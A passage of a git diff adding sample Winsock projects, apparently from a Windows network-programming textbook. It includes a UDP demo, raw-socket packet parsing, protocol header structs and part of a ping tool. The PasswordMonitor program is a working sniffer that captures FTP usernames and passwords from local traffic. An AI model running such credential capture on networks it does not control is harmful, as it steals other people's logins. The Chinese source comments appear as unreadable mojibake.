"b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/timeout/timeout.cpp" "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/timeout.cpp" new file mode 100644 index 0000000..19a3e6b --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/timeout.cpp" @@ -0,0 +1,36 @@ +////////////////////////////////////////////////////////// +// timeout.cppÎļþ + + +#include "../common/InitSock.h" +#include +CInitSock initSock; // ³õʼ»¯Winsock¿â + +int main() +{ + // ´´½¨Ì×½Ú×Ö + SOCKET s = ::socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if(s == INVALID_SOCKET) + { + printf("Failed socket() \n"); + return 0; + } + + // Ò²¿ÉÒÔÔÚÕâÀïµ÷ÓÃbindº¯Êý°ó¶¨Ò»¸ö±¾µØµØÖ· + // ·ñÔòϵͳ½«»á×Ô¶¯°²ÅÅ + + // ÌîдԶ³ÌµØÖ·ÐÅÏ¢ + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(4567); + // ×¢Ò⣬ÕâÀïÒªÌîд·þÎñÆ÷³ÌÐò£¨TCPServer³ÌÐò£©ËùÔÚ»úÆ÷µÄIPµØÖ· + // Èç¹ûÄãµÄ¼ÆËã»úûÓÐÁªÍø£¬Ö±½ÓʹÓÃ127.0.0.1¼´¿É + addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); + + // ·¢ËÍÊý¾Ý + char szText[] = " TCP Server Demo! \r\n"; + ::sendto(s, szText, strlen(szText), 0, (sockaddr*)&addr, sizeof(addr)); + + ::closesocket(s); + return 0; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/timeout/timeout.dsp" "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/timeout.dsp" new file mode 100644 index 0000000..00f9f7f --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/timeout.dsp" @@ -0,0 +1,108 @@ +# Microsoft Developer Studio Project File - Name="timeout" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=timeout - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "timeout.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "timeout.mak" CFG="timeout - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "timeout - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "timeout - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "timeout - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "timeout - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "timeout - Win32 Release" +# Name "timeout - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=..\common\comm.cpp +# End Source File +# Begin Source File + +SOURCE=.\timeout.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=..\common\comm.h +# End Source File +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\2545\347\253\240/timeout/timeout.dsw" "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/timeout.dsw" new file mode 100644 index 0000000..399cdd3 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2545\347\253\240/timeout/timeout.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "timeout"=".\timeout.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.cpp" "b/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.cpp" new file mode 100644 index 0000000..43674f5 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.cpp" @@ -0,0 +1,114 @@ +///////////////////////////////////////////////// +// PasswordMonitor.cppÎļþ + +#include "../common/initsock.h" +#include "../common/protoinfo.h" + +#include +#include + +#pragma comment(lib, "Advapi32.lib") + +CInitSock theSock; + + + +void GetFtp(char *pData, DWORD dwDestIp) +{ + char szBuf[256]; + static char szUserName[21]; + static char szPassword[21]; + + if(strnicmp(pData, "USER ", 5) == 0) + { + sscanf(pData + 4, "%*[ ]%s", szUserName); + } + else if(strnicmp(pData, "PASS ", 5) == 0) + { + sscanf(pData + 4, "%*[ ]%s", szPassword); + + wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; \n\n", + ::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword); + + printf(szBuf); // ÕâÀïÄú¿ÉÒÔ½«Ëü±£´æµ½ÎļþÖÐ + } +} + + +void DecodeIPPacket(char *pData) +{ + IPHeader *pIPHdr = (IPHeader*)pData; + + + int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG); + + switch(pIPHdr->ipProtocol) + { + case IPPROTO_TCP: + { + TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen); + switch(::ntohs(pTCPHdr->destinationPort)) + { + case 21: // ftpЭÒé + { + GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination); + } + break; + + case 80: // httpЭÒé... + case 8080: + + break; + } + } + break; + case IPPROTO_UDP: + break; + case IPPROTO_ICMP: + break; + } +} + + +void main() +{ + // ´´½¨Ô­Ê¼Ì×½Ú×Ö + SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP); + + // »ñÈ¡±¾µØIPµØÖ· + char szHostName[56]; + SOCKADDR_IN addr_in; + struct hostent *pHost; + gethostname(szHostName, 56); + if((pHost = gethostbyname((char*)szHostName)) == NULL) + return ; + + // ÔÚµ÷ÓÃioctl֮ǰ£¬Ì×½Ú×Ö±ØÐë°ó¶¨ + addr_in.sin_family = AF_INET; + addr_in.sin_port = htons(0); + memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length); + + printf(" Binding to interface : %s \n", ::inet_ntoa(addr_in.sin_addr)); + if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR) + return; + + // ÉèÖÃSIO_RCVALL¿ØÖÆ´úÂ룬ÒÔ±ã½ÓÊÕËùÓеÄIP°ü + DWORD dwValue = 1; + if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0) + return ; + + // ¿ªÊ¼½ÓÊÕ·â°ü + printf(" \n\n begin to monitor ftp password... \n\n"); + char buff[1024]; + int nRet; + while(TRUE) + { + nRet = recv(sRaw, buff, 1024, 0); + if(nRet > 0) + { + DecodeIPPacket(buff); + } + } + closesocket(sRaw); +} + diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.sln" "b/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.sln" new file mode 100644 index 0000000..c062a2e --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PasswordMonitor", "PasswordMonitor.vcproj", "{BE830FA6-E312-467D-BAB9-4F664FD0F846}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {BE830FA6-E312-467D-BAB9-4F664FD0F846}.Debug|Win32.ActiveCfg = Debug|Win32 + {BE830FA6-E312-467D-BAB9-4F664FD0F846}.Debug|Win32.Build.0 = Debug|Win32 + {BE830FA6-E312-467D-BAB9-4F664FD0F846}.Release|Win32.ActiveCfg = Release|Win32 + {BE830FA6-E312-467D-BAB9-4F664FD0F846}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.suo" "b/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.suo" new file mode 100644 index 0000000..da90814 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.suo" differ diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.vcproj" "b/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.vcproj" new file mode 100644 index 0000000..31fbbd5 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/PasswordMonitor.vcproj" @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/_desktop.ini" "b/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/PasswordMonitor/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.cpp" "b/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.cpp" new file mode 100644 index 0000000..567d741 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.cpp" @@ -0,0 +1,102 @@ +//////////////////////////////////////////// +// Sniffer.cppÎļþ + +#include "../common/initsock.h" +#include "../common/protoinfo.h" + +#include +#include + +#pragma comment(lib, "Advapi32.lib") + +CInitSock theSock; + +void DecodeTCPPacket(char *pData) +{ + TCPHeader *pTCPHdr = (TCPHeader *)pData; + + printf(" Port: %d -> %d \n", ntohs(pTCPHdr->sourcePort), ntohs(pTCPHdr->destinationPort)); + + // ÏÂÃ滹¿ÉÒÔ¸ù¾ÝÄ¿µÄ¶Ë¿ÚºÅ½øÒ»²½½âÎöÓ¦ÓòãЭÒé + switch(::ntohs(pTCPHdr->destinationPort)) + { + case 21: + break; + case 80: + case 8080: + break; + } +} + +void DecodeIPPacket(char *pData) +{ + IPHeader *pIPHdr = (IPHeader*)pData; + in_addr source, dest; + char szSourceIp[32], szDestIp[32]; + + printf("\n\n-------------------------------\n"); + + // ´ÓIPÍ·ÖÐÈ¡³öÔ´IPµØÖ·ºÍÄ¿µÄIPµØÖ· + source.S_un.S_addr = pIPHdr->ipSource; + dest.S_un.S_addr = pIPHdr->ipDestination; + strcpy(szSourceIp, ::inet_ntoa(source)); + strcpy(szDestIp, ::inet_ntoa(dest)); + + printf(" %s -> %s \n", szSourceIp, szDestIp); + // IPÍ·³¤¶È + int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG); + + switch(pIPHdr->ipProtocol) + { + case IPPROTO_TCP: // TCPЭÒé + DecodeTCPPacket(pData + nHeaderLen); + break; + case IPPROTO_UDP: + break; + case IPPROTO_ICMP: + break; + } +} + + +void main() +{ + // ´´½¨Ô­Ê¼Ì×½Ú×Ö + SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP); + + // »ñÈ¡±¾µØIPµØÖ· + char szHostName[56]; + SOCKADDR_IN addr_in; + struct hostent *pHost; + gethostname(szHostName, 56); + if((pHost = gethostbyname((char*)szHostName)) == NULL) + return ; + + // ÔÚµ÷ÓÃioctl֮ǰ£¬Ì×½Ú×Ö±ØÐë°ó¶¨ + addr_in.sin_family = AF_INET; + addr_in.sin_port = htons(0); + memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length); + + printf(" Binding to interface : %s \n", ::inet_ntoa(addr_in.sin_addr)); + if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR) + return; + + // ÉèÖÃSIO_RCVALL¿ØÖÆ´úÂ룬ÒÔ±ã½ÓÊÕËùÓеÄIP°ü + DWORD dwValue = 1; + if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0) + return ; + + // ¿ªÊ¼½ÓÊÕ·â°ü + char buff[1024]; + int nRet; + while(TRUE) + { + nRet = recv(sRaw, buff, 1024, 0); + if(nRet > 0) + { + DecodeIPPacket(buff); + } + } + closesocket(sRaw); +} + diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.sln" "b/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.sln" new file mode 100644 index 0000000..214eaf8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Sniffer", "Sniffer.vcproj", "{5D4AE3C4-2AE3-4D51-B177-F178E4888DA3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5D4AE3C4-2AE3-4D51-B177-F178E4888DA3}.Debug|Win32.ActiveCfg = Debug|Win32 + {5D4AE3C4-2AE3-4D51-B177-F178E4888DA3}.Debug|Win32.Build.0 = Debug|Win32 + {5D4AE3C4-2AE3-4D51-B177-F178E4888DA3}.Release|Win32.ActiveCfg = Release|Win32 + {5D4AE3C4-2AE3-4D51-B177-F178E4888DA3}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.suo" "b/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.suo" new file mode 100644 index 0000000..43e4181 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.suo" differ diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.vcproj" "b/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.vcproj" new file mode 100644 index 0000000..547b1ad --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/Sniffer.vcproj" @@ -0,0 +1,244 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/_desktop.ini" "b/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/Sniffer/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\2546\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/common/Debug.h" "b/Project/Network and Communication/\347\254\2546\347\253\240/common/Debug.h" new file mode 100644 index 0000000..87a3266 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/common/Debug.h" @@ -0,0 +1,32 @@ +//////////////////////////////////////////// +// Debug.hÎļþ + +// µ÷ÊÔÖ§³Ö + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/common/_desktop.ini" "b/Project/Network and Communication/\347\254\2546\347\253\240/common/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/common/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/common/comm.cpp" "b/Project/Network and Communication/\347\254\2546\347\253\240/common/comm.cpp" new file mode 100644 index 0000000..aed2ef8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/common/comm.cpp" @@ -0,0 +1,42 @@ +////////////////////////////////////////////////// +// comm.cppÎļþ + + +#include +#include +#include "Ws2tcpip.h" + +#include "comm.h" + + +USHORT checksum(USHORT* buff, int size) +{ + unsigned long cksum = 0; + while(size>1) + { + cksum += *buff++; + size -= sizeof(USHORT); + } + // ÊÇÆæÊý + if(size) + { + cksum += *(UCHAR*)buff; + } + // ½«32λµÄchsum¸ß16λºÍµÍ16λÏà¼Ó£¬È»ºóÈ¡·´ + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + return (USHORT)(~cksum); +} + +BOOL SetTTL(SOCKET s, int nValue) +{ + int ret = ::setsockopt(s, IPPROTO_IP, IP_TTL, (char*)&nValue, sizeof(nValue)); + return ret != SOCKET_ERROR; +} + +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv) +{ + int ret = ::setsockopt(s, SOL_SOCKET, + bRecv ? SO_RCVTIMEO : SO_SNDTIMEO, (char*)&nTime, sizeof(nTime)); + return ret != SOCKET_ERROR; +} diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/common/comm.h" "b/Project/Network and Communication/\347\254\2546\347\253\240/common/comm.h" new file mode 100644 index 0000000..a3b5372 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/common/comm.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////////// +// comm.hÎļþ + +// °üº¬Ò»Ð©¹«¹²º¯Êý + + + +#ifndef __COMM_H__ +#define __COMM_H__ + + +// УÑéºÍµÄ¼ÆËã +// ÒÔ16λµÄ×ÖΪµ¥Î»½«»º³åÇøµÄÄÚÈÝÏà¼Ó£¬Èç¹û»º³åÇø³¤¶ÈΪÆæÊý£¬ +// ÔòÔÙ¼ÓÉÏÒ»¸ö×Ö½Ú¡£ËüÃǵĺʹæÈëÒ»¸ö32λµÄË«×ÖÖÐ +USHORT checksum(USHORT* buff, int size); + +BOOL SetTTL(SOCKET s, int nValue); +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv = TRUE); + + +#endif // __COMM_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/common/initsock.h" "b/Project/Network and Communication/\347\254\2546\347\253\240/common/initsock.h" new file mode 100644 index 0000000..f73bea7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/common/initsock.h" @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 2) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/common/protoinfo.h" "b/Project/Network and Communication/\347\254\2546\347\253\240/common/protoinfo.h" new file mode 100644 index 0000000..a2e9aa7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/common/protoinfo.h" @@ -0,0 +1,110 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14×Ö½ÚµÄÒÔÌ«Í· +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + +// ЭÒé +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20×Ö½ÚµÄIPÍ· +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; // Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// ¶¨ÒåTCP±êÖ¾ +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader // 20×Ö½ÚµÄTCPÍ· +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + +#endif // __PROTOINFO_H__ + diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/ping/_desktop.ini" "b/Project/Network and Communication/\347\254\2546\347\253\240/ping/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/ping/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.cpp" "b/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.cpp" new file mode 100644 index 0000000..1515b43 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.cpp" @@ -0,0 +1,120 @@ +/////////////////////////////////////////// +// ping.cppÎļþ + +#include "../common/initsock.h" +#include "../common/protoinfo.h" +#include "../common/comm.h" + +#include + + +CInitSock theSock; + + +typedef struct icmp_hdr +{ + unsigned char icmp_type; // ÏûÏ¢ÀàÐÍ + unsigned char icmp_code; // ´úÂë + unsigned short icmp_checksum; // УÑéºÍ + // ÏÂÃæÊÇ»ØÏÔÍ· + unsigned short icmp_id; // 